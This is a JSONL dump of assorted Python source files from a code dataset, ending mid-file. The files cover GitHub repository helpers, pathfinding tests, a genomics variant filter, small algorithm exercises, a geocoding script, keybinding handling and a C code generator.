+{"seq_id":"203077447","text":"from github import Github\nimport sys\n\n# This function gets the github client and it requires username and password\ndef Get_Git_Client(self):\n self.g = Github(self.config['github_username'], self.config['github_password'])\n return self.g\n\n# To create a new branch(it needs client,source branch,target branch and repository name)\ndef Create_Branch_Git(self, sourceb, targetb, reponame):\n try:\n Get_Git_Client(self)\n if '/' in reponame:\n list = str(reponame).split('/')\n org = self.g.get_organization(list[0])\n repo = org.get_repo(list[1])\n else:\n repo = self.g.get_user().get_repo(reponame)\n sb = repo.get_branch(sourceb)\n repo.create_git_ref(ref='refs/heads/' + targetb, sha=sb.commit.sha)\n msg = \"New Branch \" + targetb + \" has been created,Please refresh your GIT page\"\n return msg\n except Exception as ex:\n return \"OOPS..!! Could not create the branch \" +targetb\n\n # this will display the name of all the branches in a repo(It needs client and repository name)\ndef get_branches(self, reponame):\n try:\n Get_Git_Client(self)\n if '/' in reponame:\n list = str(reponame).split('/')\n org = self.g.get_organization(list[0])\n repo = org.get_repo(list[1])\n else:\n repo = self.g.get_user().get_repo(reponame)\n branchlist = []\n branchlist.append(\"These are the Branches present in the Repository \" + reponame)\n for branch in repo.get_branches():\n branchlist.append(str(branch.name))\n branches = '\\n'.join(branchlist)\n return branches\n except Exception as ex:\n return \"Sorry..Could not retrieve the branches\"\n\n# This get the count of branches in give Repository\ndef get_countof_branches(self,reponame):\n try:\n Get_Git_Client(self)\n if '/' in reponame:\n list = str(reponame).split('/')\n org = self.g.get_organization(list[0])\n repo = org.get_repo(list[1])\n else:\n repo = self.g.get_user().get_repo(reponame)\n count = 0\n for branch in repo.get_branches():\n count = int(count+1)\n msg = \"There are \" +str(count)+ \" branches in this Repository\"\n return str(msg)\n except Exception as ex:\n return \"Sorry..Could not retrieve the branch details \"\n\n# This will give the details of Pull requests in a repo\ndef get_pull_requests(self, reponame):\n try:\n Get_Git_Client(self)\n if '/' in reponame:\n list = str(reponame).split('/')\n org = self.g.get_organization(list[0])\n repo = org.get_repo(list[1])\n else:\n repo = self.g.get_user().get_repo(reponame)\n pulls = repo.get_pulls()\n plist = []\n plist.append(\"PR No: \" \"PR Title\")\n for p in pulls:\n plist.append(str(p.number) + \" :\" \" \" + str(p.title))\n PR = ('\\n'.join(plist))\n return PR\n except Exception as ex:\n return \"OOPS..!! PR Details can't be retrieved right now \"\n\n#It will give the list of all the collaborators for this repo\ndef get_collaborators(self, reponame):\n try:\n Get_Git_Client(self)\n if '/' in reponame:\n list = str(reponame).split('/')\n org = self.g.get_organization(list[0])\n repo = org.get_repo(list[1])\n else:\n repo = self.g.get_user().get_repo(reponame)\n clist = []\n c = repo.get_collaborators()\n clist.append(\"Below are the Collaborators in this repo\")\n for collaborator in c:\n clist.append(str(collaborator.login))\n collaboratorlist = ('\\n'.join(clist))\n return collaboratorlist\n except Exception as ex:\n return \"Sorry,Collaborators details are not avaialble now\"\n\n#This gives us the latest commits in repository\ndef get_latest_commit(self,reponame):\n try:\n Get_Git_Client(self)\n if '/' in reponame:\n list = str(reponame).split('/')\n org = self.g.get_organization(list[0])\n repo = org.get_repo(list[1])\n else:\n repo = self.g.get_user().get_repo(reponame)\n commits = repo.get_commits()\n #print(commits)\n clist = []\n clist.append(\"These are the latest commit details in the repo \" + reponame)\n top = commits[:1]\n for t in top:\n\n # print(t.sha)\n clist.append(\" COMMIT ID: \" )\n clist.append(t.sha)\n clist.append(\" COMMITTED BY: \")\n author = repo.get_commit(t.sha)\n #print (author.author.login)\n clist.append(author.author.login)\n clist.append(\" FILE MODIFIED: \")\n #print(author.files[0].filename)\n clist.append((author.files[0].filename))\n clist.append(\" RAW FILE LINK: \")\n clist.append((author.files[0].raw_url))\n # \"\"COMMITTED BY:\" \"FILE CHANGED\")\n commmitlist = '\\n'.join(clist)\n #print commmitlist\n return commmitlist\n except Exception as ex:\n return \"Commits are not avaialable in this Repository\"\n\n#This merges oull requests\ndef merge(self, github_reponame, github_pull_req):\n Get_Git_Client(self)\n if '/' in github_reponame:\n words = github_reponame.split(\"/\")\n org = self.g.get_organization(words[0])\n repo = org.get_repo(words[1])\n else:\n repo = self.g.get_user().get_repo(github_reponame)\n pull_req = repo.get_pulls()\n pr_list = []\n for p in pull_req:\n pr_list.append(p.number)\n if int(github_pull_req) in pr_list:\n pr_index = pull_req[(pr_list.index(int(github_pull_req)))]\n pr_index.merge()\n self._msg = \"Merged successfully\"\n else:\n self._msg = \"Pull request does not exist!\"\n return self._msg\n\n","sub_path":"actions/lib/cart_github.py","file_name":"cart_github.py","file_ext":"py","file_size_in_byte":5962,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"358764432","text":"from anya2_vis import *\nfrom anya2_node import *\nfrom anya_constrained import *\nfrom utils import *\n\nimport sys\nimport random\n\ndef test_heuristic():\n grid = makeEmptyGrid((0, 0), (12, 12))\n node = Anya2Node((5, 7), 5, 3, 6, True)\n \n setup(grid)\n \n frame()\n draw_node(node)\n target = (6, 2)\n result = euclidean_heuristic(node, target, vis=True)\n print(result)\n show(interactive=True)\n\n frame()\n target = (4, 1)\n node = node.reflect()\n draw_node(node)\n result = euclidean_heuristic(node, target, vis=True)\n print(result)\n show(interactive=True)\n\ndef test_expand_cone_up():\n grid = makeBorderedGrid((0, 0), (12, 12))\n occupied = grid.occupied\n #node = AnyaNode((4, 4), 6, 3, 6)\n node = Anya2Node((6, 4), 6, 3, 6, True)\n\n occupied.add((1, 5))\n occupied.add((2, 5))\n occupied.add((6, 5))\n occupied.add((4, 7))\n occupied.add((1, 7))\n occupied.add((2, 7))\n\n setup(grid)\n frame()\n draw_node(node)\n show(interactive=True)\n \n frame()\n result_nodes = expand_cone_up(node, occupied)\n print(result_nodes)\n colors = ['r', 'g', 'b'] * 3\n draw_node(node, color=\"gray\")\n for node, color in zip(result_nodes, colors):\n draw_node(node, color=color)\n show(interactive=True)\n\ndef test_expand_cone_right():\n grid = makeBorderedGrid((0, 0), (12, 12))\n occupied = grid.occupied\n #node = AnyaNode((4, 4), 6, 3, 6)\n node = Anya2Node((4, 6), 6, 3, 6, False)\n\n occupied.add((5, 1))\n occupied.add((5, 2))\n occupied.add((5, 6))\n occupied.add((7, 4))\n occupied.add((7, 1))\n occupied.add((7, 2))\n\n setup(grid)\n frame()\n draw_node(node)\n show(interactive=True)\n \n frame()\n result_nodes = expand_node(node, grid)\n print(result_nodes)\n colors = ['r', 'g', 'b'] * 3\n draw_node(node, color=\"gray\")\n for node, color in zip(result_nodes, colors):\n draw_node(node, color=color)\n show(interactive=True)\n\ndef test_expand_cone_down():\n grid = makeBorderedGrid((0, 0), (12, 12))\n occupied = grid.occupied\n #node = AnyaNode((4, 4), 6, 3, 6)\n node = Anya2Node((6, 9), 7, 3, 7, True)\n\n occupied.add((1, 5))\n occupied.add((2, 5))\n occupied.add((6, 5))\n# occupied.add((4, 7))\n occupied.add((1, 7))\n occupied.add((2, 7))\n\n setup(grid)\n frame()\n draw_node(node)\n show(interactive=True)\n \n frame()\n result_nodes = expand_cone_down(node, occupied)\n print(result_nodes)\n colors = ['r', 'g', 'b'] * 3\n draw_node(node, color=\"gray\")\n for node, color in zip(result_nodes, colors):\n draw_node(node, color=color)\n show(interactive=True)\n\ndef test_expand_cone_left():\n grid = makeBorderedGrid((0, 0), (12, 12))\n occupied = grid.occupied\n #node = AnyaNode((4, 4), 6, 3, 6)\n node = Anya2Node((9, 6), 7, 3, 7, False)\n\n occupied.add((5, 1))\n occupied.add((5, 2))\n occupied.add((5, 6))\n occupied.add((7, 1))\n occupied.add((7, 2))\n\n setup(grid)\n frame()\n draw_node(node)\n show(interactive=True)\n \n frame()\n result_nodes = expand_node(node, grid)\n print(result_nodes)\n colors = ['r', 'g', 'b'] * 3\n draw_node(node, color=\"gray\")\n for node, color in zip(result_nodes, colors):\n draw_node(node, color=color)\n show(interactive=True)\n\ndef test_expand_start():\n grid = makeBorderedGrid((0, 0), (12, 12))\n occupied = grid.occupied\n\n start = (5, 6)\n\n occupied.add((6, 5))\n occupied.add((6, 6))\n occupied.add((4, 7))\n occupied.add((1, 7))\n occupied.add((2, 7))\n occupied.add((1, 4))\n occupied.add((2, 4))\n occupied.add((4, 4))\n occupied.add((7, 4))\n\n setup(grid)\n \n frame()\n result_nodes = expand_start(start, occupied)\n print(result_nodes)\n colors = ['r', 'g', 'b'] * 5\n for node, color in zip(result_nodes, colors):\n draw_node(node, color=color)\n show(interactive=True)\n\ndef test_random(interactive=True, method=Anya45Search):\n grid = makeBorderedGrid((0, 0), (102, 102))\n occupied = grid.occupied\n\n target = 100*100 * 0.2\n i = 0\n while i < target:\n # Screw good rng\n pt = (random.randrange(1, 101), random.randrange(1, 101))\n if pt in occupied:\n continue\n i += 1\n occupied.add(pt)\n\n goal = (random.randrange(1, 101), random.randrange(1, 101))\n start = (random.randrange(1, 101), random.randrange(1, 101))\n anyaSearch = method()\n stime = time.time()\n anyaSearch.search_start(start, goal, grid)\n\n n_expanded = 0\n terminate = False\n while not terminate:\n terminate, score = anyaSearch.search_step()\n n_expanded += 1\n \n dt = time.time() - stime\n if interactive:\n print(f\"Time: {dt}\")\n #if interactive and not anyaSearch.has_path():\n if not anyaSearch.has_path():\n setup(grid)\n print(\"Showing failed graph ({n_expanded} nodes) - enter to continue \")\n path, distance = anyaSearch.make_path(plot=True)\n input()\n else:\n path, distance = anyaSearch.make_path()\n if interactive:\n print(path)\n print(f\"Length: {distance}, Expanded {n_expanded} nodes\")\n input(\"Press enter to exit...\")\n else:\n print(\".\",end=\"\",flush=True)\n return distance, dt, n_expanded\n\ndef test_random_multi(n=1000):\n distances, times, nnodes = zip(*(x for x in (test_random(interactive=False) for i in range(n)) if x[0] != -1))\n success = len(distances)\n print()\n print(f\"Search succeeded {success}/{n} times!\")\n print(f\"Average path length: {sum(distances) / success}\")\n print(f\"Average time: {sum(times) / success}\")\n print(f\"Average nodes expanded: {sum(nnodes) / success}\")\n plt.scatter(nnodes, times)\n plt.show()\n\nif len(sys.argv) <= 1:\n print(\"Use command-line args to specify tests to run.\")\nfor arg in sys.argv[1:]:\n print(f\"Running test {arg}\")\n exec(f\"test_{arg}()\")\n print(\"Done!\\n\")\n","sub_path":"anya_constrained/anya45_testing.py","file_name":"anya45_testing.py","file_ext":"py","file_size_in_byte":5932,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"256222159","text":"# Find variants whose maximum likelihood estimate of phi are implausibly\n# large (i.e., well over 1), indicating something is wrong with such variants.\n# Render these as garbage.\n\nimport argparse\nimport numpy as np\nimport scipy.stats\nimport json\n\nimport os\nimport sys\nsys.path.append(os.path.join(os.path.dirname(__file__), '..', 'lib'))\nimport common\nimport inputparser\n\ndef _remove_bad(ssms, phi_hat_threshold, quantile, print_bad=False):\n # Note that SSMs are modified in-place.\n alpha0 = 1\n beta0 = 1\n # To flag only extreme cases, set this above 1.0 -- e.g., to 1.5.\n phi_mle_threshold = 1.0\n\n bad = []\n bad_count = 0\n total_count = 0\n\n for vid, V in ssms.items():\n phi_alpha = alpha0 + V['var_reads']\n phi_beta = beta0 + np.maximum(0, V['omega_v']*V['total_reads'] - V['var_reads'])\n # Binary decision: is the mass in the `phi ~ Beta(...)` CDF below\n # the `quantile` threshold?\n probs = scipy.stats.beta.cdf(phi_hat_threshold, phi_alpha, phi_beta)\n\n phi_mle = V['var_reads'] / (V['omega_v'] * V['total_reads'])\n bad_samps = np.logical_and.reduce((\n probs < quantile,\n phi_mle > phi_mle_threshold,\n ))\n\n if np.any(bad_samps):\n bad.append(vid)\n if print_bad and np.any(bad_samps):\n print(vid, np.vstack((\n V['var_reads'],\n V['total_reads'],\n phi_mle,\n probs,\n bad_samps,\n )), sep='\\n')\n print('')\n\n bad_count += np.sum(bad_samps)\n total_count += len(bad_samps)\n\n bad_samp_prop = bad_count / total_count\n return (bad, bad_samp_prop)\n\ndef main():\n parser = argparse.ArgumentParser(\n description='LOL HI THERE',\n formatter_class=argparse.ArgumentDefaultsHelpFormatter\n )\n parser.add_argument('--phi-hat-threshold', type=float, default = 1 - 1e-2,\n help='Blah')\n parser.add_argument('--quantile', type=float, default = 0.5,\n help='Blah')\n parser.add_argument('--print-bad-data', action='store_true')\n parser.add_argument('in_ssm_fn')\n parser.add_argument('in_params_fn')\n parser.add_argument('out_params_fn')\n args = parser.parse_args()\n\n np.set_printoptions(linewidth=400, precision=3, threshold=sys.maxsize, suppress=True)\n np.seterr(divide='raise', invalid='raise', over='raise')\n\n ssms = inputparser.load_ssms(args.in_ssm_fn)\n params = inputparser.load_params(args.in_params_fn)\n ssms = inputparser.remove_garbage(ssms, params['garbage'])\n\n bad_vids, bad_samp_prop = _remove_bad(ssms, args.phi_hat_threshold, args.quantile, args.print_bad_data)\n bad_ssm_prop = len(bad_vids) / len(ssms)\n if len(bad_vids) > 0:\n params['garbage'] = common.sort_vids(params['garbage'] + bad_vids)\n with open(args.out_params_fn, 'w') as F:\n json.dump(params, F)\n\n stats = {\n 'bad_ssms': common.sort_vids(bad_vids),\n 'bad_samp_prop': '%.3f' % bad_samp_prop,\n 'bad_ssm_prop': '%.3f' % bad_ssm_prop,\n }\n for K, V in stats.items():\n print('%s=%s' % (K, V))\n\nif __name__ == '__main__':\n main()\n","sub_path":"util/remove_high_vaf.py","file_name":"remove_high_vaf.py","file_ext":"py","file_size_in_byte":2942,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"461168705","text":"# Alunas: Izabela A. Andrade (20192004795), Marcela P. Silvério (20192020028) e Tássyla L. Lima (20192001990)\n# Turma: INF3A\n\n# ***********************************************************************************************************\n# O presente código lê a quantidade de linhas e colunas do mapa (m e n) e logo em seguida lê o mapa em si.\n# Na mesma lista onde é armazenado o mapa, são acrecentados pontos em sua borda para facilitar a comparação\n# que é feita posteriormente, evitando a acesso de uma posição inexistente da lista. No segundo for é feita\n# a contagem de costas analisando se existe pelo menos um ponto nas proximidades da terra (#), indicando que\n# há água nas proximidades. Por fim, essa quantidade é impressa.\n# ***********************************************************************************************************\n\nm, n = map(int, input().split())\n\nmapa = [['.'] * (n + 2)]\n\nfor i in range(m):\n mapa.append(list('.' + input() + '.'))\n\nmapa.append(['.'] * (n + 2))\n\ncosta = 0\n\nfor i in range(m + 1):\n for j in range(n + 1):\n if mapa[i][j] == '#' and (mapa[i+1][j] == '.' or mapa[i-1][j] == '.' or mapa[i][j+1] == '.' or mapa[i][j-1] == '.'):\n costa += 1\n\nprint(costa)\n","sub_path":"Lista 4 - Grafos/08_2419.py","file_name":"08_2419.py","file_ext":"py","file_size_in_byte":1236,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"402316501","text":"# Author : Robert Joseph\n\nfrom queue import PriorityQueue\n\nclass min_max_priority:\n \n def __init__(self):\n self.q = PriorityQueue()\n \n def insert(self,priority_1,value):\n self.q.put((priority_1,value))\n\n def maximum(self):\n element = self.q.get()\n self.q.put(element)\n return element\n \n def extract_max(self):\n return self.q.get()\n \n def increase_key(self,value,value_updated):\n while self.q.qsize():\n element = self.q.get()\n if element[0] == value:\n values = element[1]\n break\n final = (value_updated,values)\n self.q.put(final)\n \n def convert_min(self):\n length = self.q.qsize()\n while length:\n element = self.q.get()\n final = (-element[0],element[1])\n self.q.put(final)\n length -= 1\n \n def size(self):\n return self.q.qsize()\n \n def __repr__(self):\n print(self.q)\n \npq = min_max_priority()\npq.insert(1,3)\npq.insert(4,4)\npq.insert(10,4)\npq.increase_key(1,2)\nprint(pq.maximum())\npq.insert(100,4)\npq.convert_min()\npq.__repr__()\nprint(pq.extract_max())\n","sub_path":"6-Heapsort/priority_queue.py","file_name":"priority_queue.py","file_ext":"py","file_size_in_byte":1189,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"73152638","text":"import urllib.parse\nimport requests\n\ntry:\n google_url = 'http://maps.googleapis.com/maps/api/geocode/json?'\n user_input = input('\\nEnter address/location to search: ')\n \n url = google_url + urllib.parse.urlencode({'address': user_input})\n google_json_data = requests.get(url).json() # creates json data from the requests\n \n full_address = google_json_data['results'][0]['formatted_address'] # i.e. (Morgan Hill, CA, USA)\n geo_lng = google_json_data['results'][0]['geometry']['location']['lng'] # returns longitude\n geo_lat = google_json_data['results'][0]['geometry']['location']['lat'] # returns latitude\n return_status = google_json_data['status'] # returns the status message\n \n def address_info():\n long_name_addr = []\n short_name_addr = []\n \n for long_name in google_json_data['results'][0]['address_components']:\n long_name_addr.append(long_name['long_name'])\n \n for short_name in google_json_data['results'][0]['address_components']:\n if len(short_name['short_name']) == 2:\n short_name_addr.append(short_name['short_name'])\n \n del short_name_addr[-1]\n \n return long_name_addr, short_name_addr\n \n long_short_addr = address_info()\n \n print('\\nInformation pertaining to your search:\\n')\n print('\\tFull address: ' + full_address)\n print('\\tLongitude: ' + str(geo_lng))\n print('\\tLatitude: ' + str(geo_lat))\n print('\\tRequest Status: ' + return_status)\n print('-' * 50)\n \nexcept KeyError:\n print('\\n** An unexpected error occured. Please try again! **\\n')\n","sub_path":"google_maps_get.py","file_name":"google_maps_get.py","file_ext":"py","file_size_in_byte":1651,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"15399602","text":"__author__ = 'chengmingwang'\n\n\nimport sys\nimport pprint\n\ndef parameter():\n '''\n print the parameter of url\n :return:\n '''\n url = sys.argv[1]\n parameters = url.split('?')[1].split('&')\n parameters.sort()\n result = {}\n for data in parameters:\n data = data.split(\"=\")\n result[data[0]] = data[1]\n pprint.pprint(result)\n\nif __name__ == '__main__':\n parameter()\n\n","sub_path":"url/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":404,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"620371569","text":"\"\"\"\nREVISIT: All of the tree traversal iterative algos need to be reviewed\n\nQuestion: https://leetcode.com/problems/binary-tree-level-order-traversal/submissions/\n\nGiven a binary tree, return the level order traversal of its nodes' values. (ie, from left to right, level by level).\n\nFor example:\nGiven binary tree [3,9,20,null,null,15,7],\n 3\n / \\\n 9 20\n / \\\n 15 7\nreturn its level order traversal as:\n[\n [3],\n [9,20],\n [15,7]\n]\n\"\"\"\nfrom typing import List\n\nfrom implementations.data_structures import TreeNode\n\n\nclass Solution:\n def levelOrder(self, root: TreeNode) -> List[List[int]]:\n return self.first_implementation(root)\n\n def first_implementation(self, root: TreeNode, with_null=False) -> List[List[int]]:\n \"\"\"\n Iterative solution building on the level_order_traversal algo.\n Time Complexity: O(n)\n Space Complexity: O(n)\n \"\"\"\n if not root:\n return []\n levels = []\n level = 0\n queue = [root]\n while queue:\n levels.append([])\n\n level_length = len(queue)\n\n for idx in range(level_length):\n cur_node = queue.pop(0)\n cur_val = 'null'\n if cur_node:\n cur_val = cur_node.val\n\n levels[level].append(cur_val)\n if not cur_node:\n continue\n if cur_node.left or with_null:\n queue.append(cur_node.left)\n if cur_node.right or with_null:\n queue.append(cur_node.right)\n level += 1\n\n return levels\n","sub_path":"python/coding_challenges/leet_code/binary_tree_level_order_traversal.py","file_name":"binary_tree_level_order_traversal.py","file_ext":"py","file_size_in_byte":1630,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"146597036","text":"import csv\r\nimport plotly.graph_objects as go \r\nimport pandas as pd \r\n\r\ndf=pd.read_csv('data.csv')\r\nstudent_df=df.loc[df['student_id']==\"TRL_xsl\"]\r\nmean=student_df.groupby('level')['attempt'].mean()\r\nprint(mean)\r\n\r\nfigure=go.Figure(go.Bar(\r\n x=mean,\r\n y=['level1','level2','level3','level4'],\r\n orientation='h'\r\n))\r\nfigure.show()","sub_path":"107.py","file_name":"107.py","file_ext":"py","file_size_in_byte":338,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"7612578","text":"import csv\nimport logging\nfrom collections import defaultdict\nfrom typing import Dict, List, Tuple\n\nfrom data.constants import PREFERENCES_FILE\nfrom events.events_base import BasicEvents, EventType\n\n\nclass Keybindings(object):\n \"\"\"Stores all key bindings, mapping them to events.\"\"\"\n preference_file = PREFERENCES_FILE\n binding_field = 'binding'\n key_field = 'key'\n _keys_loaded: bool = False\n _bindings: Dict[str, BasicEvents] = dict()\n _bindings_inverse: Dict[str, List[str]] = dict()\n\n def __init__(self) -> None:\n if not Keybindings._keys_loaded:\n self.load()\n Keybindings._keys_loaded = True\n\n def load(self) -> None:\n bindings: Dict[str, BasicEvents] = dict()\n bindings_inv: Dict[str, List[str]] = defaultdict(lambda: [])\n with open(self.preference_file) as bindings_file:\n reader = csv.DictReader(bindings_file)\n for row in reader:\n key = row[self.key_field]\n bound_event = row[self.binding_field]\n try:\n bindings[key] = BasicEvents[bound_event]\n bindings_inv[bound_event].append(key)\n except KeyError:\n raise NotImplementedError(\n 'Binding <{}> does not exist. Add BasicEvents.'\n '{}?'.format(bound_event, bound_event))\n\n Keybindings._bindings = bindings\n Keybindings._bindings_inverse = bindings_inv\n\n logging.debug('Loaded keybindings')\n logging.debug(str(self))\n\n def save(self) -> None:\n with open(self.preference_file, 'w') as bindings_file:\n writer = csv.DictWriter(\n bindings_file, fieldnames=[self.binding_field, self.key_field])\n writer.writeheader()\n for key, binding in self._bindings.items():\n writer.writerow(\n {self.binding_field: binding, self.key_field: key})\n\n def update_binding(self, key: str, event: BasicEvents) -> None:\n previously_bound = [event_str for event_str in self._bindings_inverse\n if self._bindings_inverse[event_str] == key]\n for event_str in previously_bound:\n self._bindings_inverse[event_str].remove(key)\n Keybindings._bindings[key] = event\n Keybindings._bindings_inverse[event.value].append(key)\n\n self.save()\n\n logging.debug('Updated keybindings')\n logging.debug(str(self))\n\n def event_for_key(self, key: str) -> EventType:\n return self._bindings.get(key, BasicEvents.NONE)\n\n def keys_for_event(self, event: BasicEvents) -> Tuple[str, ...]:\n return tuple(self._bindings_inverse[event.value])\n\n def __str__(self) -> str:\n keys = [\"\\nKEY BINDINGS\", \"--------------------\"]\n for key, value in self._bindings.items():\n keys.append(\"{}: {}\".format(key, value))\n keys.append(\"--------------------\")\n return '\\n'.join(keys)\n","sub_path":"src/data/keybindings.py","file_name":"keybindings.py","file_ext":"py","file_size_in_byte":2998,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"97303036","text":"\"\"\"\nC code generator\n\"\"\"\n\nfrom jinja2 import Environment, PackageLoader # type: ignore\n\nfrom .CodeGeneratorBase import CodeGeneratorBase\nfrom ..SemanticGraph import Array, BuiltinType, BuiltinTypeCategory, Enum, Interface, Method, Parameter, SemanticGraph, Struct, TypeBase\nfrom ..GeneratorHelpers import CodeWithInitialization, make_delimiter_comment_func, map_format_filter\n\n\nMYPY = False\nif MYPY:\n import typing\n\n\nclass CGenerator(CodeGeneratorBase):\n def __init__(self, semantic_graph): # type: (SemanticGraph) -> None\n self.semantic_graph = semantic_graph\n\n def generate(self): # type: () -> typing.Iterable[unicode]\n env = Environment(loader=PackageLoader('joint', 'templates'))\n env.filters['map_format'] = map_format_filter\n result = env.get_template(\"template.c.jinja\").render(\n hex=hex,\n packages=self.semantic_graph.packages,\n type_name=lambda x: type(x).__name__,\n delimiter_comment=make_delimiter_comment_func('//'),\n c_type=_to_c_type,\n mangle_type=_mangle_type,\n to_joint_param=_to_joint_param,\n to_joint_retval=_to_joint_ret_value,\n from_joint_param=_from_joint_param,\n from_joint_retval=_from_joint_ret_value,\n params_decl=_params_decl,\n ret_decl=_ret_decl\n )\n for l in result.split('\\n'):\n yield l\n\n\ndef _params_decl(params): # type: (typing.Iterable[Parameter]) -> unicode\n return ''.join(', {} {}'.format(_to_c_type(p.type), p.name) for p in params)\n\n\ndef _ret_decl(ret_type): # type: (TypeBase) -> unicode\n return ', {}* _outResult'.format(_to_c_type(ret_type)) if ret_type.name != 'void' else ''\n\n\n# pylint: disable=too-many-return-statements\ndef _to_c_type(t): # type: (TypeBase) -> unicode\n if isinstance(t, BuiltinType):\n if t.category == BuiltinTypeCategory.void:\n return 'void'\n if t.category == BuiltinTypeCategory.int:\n return '{}int{}_t'.format('' if t.signed else 'u', t.bits)\n if t.category == BuiltinTypeCategory.bool:\n return 'Joint_Bool'\n if t.category == BuiltinTypeCategory.float:\n if t.bits == 32:\n return 'float'\n if t.bits == 64:\n return 'double'\n raise RuntimeError('Unsupported floatint point t (bits: {})'.format(t.bits))\n if t.category == BuiltinTypeCategory.string:\n return 'const char*'\n raise RuntimeError('Unknown type: {}'.format(t))\n elif isinstance(t, (Interface, Enum, Struct, Array)):\n return '{}'.format(_mangle_type(t))\n else:\n raise RuntimeError('Not implemented (type: {})!'.format(t))\n\n\ndef _mangle_type(t): # type: (TypeBase) -> unicode\n if isinstance(t, Array):\n return '{}__Array'.format(_mangle_type(t.element_type))\n return '{}'.format('_'.join(t.package_name_list + [t.name]))\n\n\ndef _to_joint_param(t, c_value): # type: (TypeBase, unicode) -> CodeWithInitialization\n if isinstance(t, BuiltinType):\n return CodeWithInitialization(c_value)\n elif isinstance(t, Interface):\n return CodeWithInitialization('{}.Accessor'.format(c_value))\n elif isinstance(t, Enum):\n return CodeWithInitialization('(int32_t){}'.format(c_value))\n elif isinstance(t, Struct):\n mangled_value = c_value.replace('.', '_')\n initialization = [] # type: typing.List[unicode]\n member_values = []\n for m in t.members:\n member_val = _to_joint_param(m.type, '{}.{}'.format(c_value, m.name))\n initialization += member_val.initialization\n member_values.append(member_val.code)\n initialization.append('JointCore_Value {}_members[{}];'.format(mangled_value, len(t.members)))\n for i, mv in enumerate(member_values):\n initialization.append('{}_members[{}].{} = {};'.format(mangled_value, i, t.members[i].type.variant_name, mv))\n return CodeWithInitialization('{}_members'.format(mangled_value), initialization)\n elif isinstance(t, Array):\n return CodeWithInitialization('{}.handle'.format(c_value))\n else:\n raise RuntimeError('Not implemented (type: {})!'.format(t))\n\n\ndef _to_joint_ret_value(t, c_value): # type: (TypeBase, unicode) -> CodeWithInitialization\n if isinstance(t, BuiltinType):\n return CodeWithInitialization(c_value)\n elif isinstance(t, Interface):\n return CodeWithInitialization('({}).Accessor'.format(c_value))\n elif isinstance(t, Enum):\n return CodeWithInitialization('(int32_t)({})'.format(c_value))\n elif isinstance(t, Struct):\n mangled_value = c_value.replace('.', '_')\n initialization = [] # type: typing.List[unicode]\n member_values = []\n for m in t.members:\n member_val = _to_joint_ret_value(m.type, '{}.{}'.format(c_value, m.name))\n initialization += member_val.initialization\n member_values.append(member_val.code)\n initialization.append('JointCore_Value* {}_members = (JointCore_Value*)malloc(sizeof(JointCore_Value) * {});'.format(mangled_value, len(t.members)))\n for i, mv in enumerate(member_values):\n initialization.append('{}_members[{}].{} = {};'.format(mangled_value, i, t.members[i].type.variant_name, mv))\n return CodeWithInitialization('{}_members'.format(mangled_value), initialization)\n elif isinstance(t, Array):\n return CodeWithInitialization('{}.handle'.format(c_value))\n else:\n raise RuntimeError('Not implemented (type: {})!'.format(t))\n\n\ndef _from_joint_param(t, joint_value): # type: (TypeBase, unicode) -> CodeWithInitialization\n if isinstance(t, BuiltinType):\n return CodeWithInitialization('{}.{}'.format(joint_value, t.variant_name))\n elif isinstance(t, Interface):\n return CodeWithInitialization('{{ ({}.{}) }}'.format(joint_value, t.variant_name))\n elif isinstance(t, Enum):\n return CodeWithInitialization('({})({}.{})'.format(_to_c_type(t), joint_value, t.variant_name))\n elif isinstance(t, Struct):\n initialization = [] # type: typing.List[unicode]\n member_values = []\n for i, m in enumerate(t.members):\n member_code = _from_joint_param(m.type, '{}.members[{}]'.format(joint_value, i))\n initialization += member_code.initialization\n member_values.append(member_code.code)\n return CodeWithInitialization('{{ {} }}'.format(', '.join(member_values)), initialization)\n elif isinstance(t, Array):\n return CodeWithInitialization('{{ {}.{} }}'.format(joint_value, t.variant_name))\n else:\n raise RuntimeError('Not implemented (type: {})!'.format(t))\n\n\n# pylint: disable=too-many-return-statements\ndef _from_joint_ret_value(t, joint_value): # type: (TypeBase, unicode) -> CodeWithInitialization\n if isinstance(t, BuiltinType):\n if t.category == BuiltinTypeCategory.bool:\n return CodeWithInitialization('{}.{} != 0'.format(joint_value, t.variant_name))\n if t.category == BuiltinTypeCategory.string:\n mangled_value = joint_value.replace('.', '_').replace('[', '_').replace(']', '_')\n initialization = [\n u'char* _{}_copy = (char*)malloc(strlen({}.{}) + 1);'.format(mangled_value, joint_value, t.variant_name),\n u'strcpy(_{}_copy, {}.{});'.format(mangled_value, joint_value, t.variant_name)\n ]\n return CodeWithInitialization('_{}_copy'.format(mangled_value), initialization)\n return CodeWithInitialization('{}.{}'.format(joint_value, t.variant_name))\n elif isinstance(t, Interface):\n return CodeWithInitialization('({}.{})'.format(joint_value, t.variant_name))\n elif isinstance(t, Enum):\n return CodeWithInitialization('({})({}.{})'.format(_to_c_type(t), joint_value, t.variant_name))\n elif isinstance(t, Struct):\n mangled_value = joint_value.replace('.', '_').replace('[', '_').replace(']', '_')\n initialization = []\n member_values = []\n for i, m in enumerate(t.members):\n member_code = _from_joint_ret_value(m.type, '{}.members[{}]'.format(joint_value, i))\n initialization += member_code.initialization\n member_values.append(member_code.code)\n initialization.append('{} {}_tmp = {{ {} }};'.format(_to_c_type(t), mangled_value, ', '.join(member_values)))\n return CodeWithInitialization('{}_tmp'.format(mangled_value), initialization)\n elif isinstance(t, Array):\n mangled_value = joint_value.replace('.', '_').replace('[', '_').replace(']', '_')\n initialization = ['{} {}_tmp = {{ {}.{} }};'.format(_to_c_type(t), mangled_value, joint_value, t.variant_name)]\n return 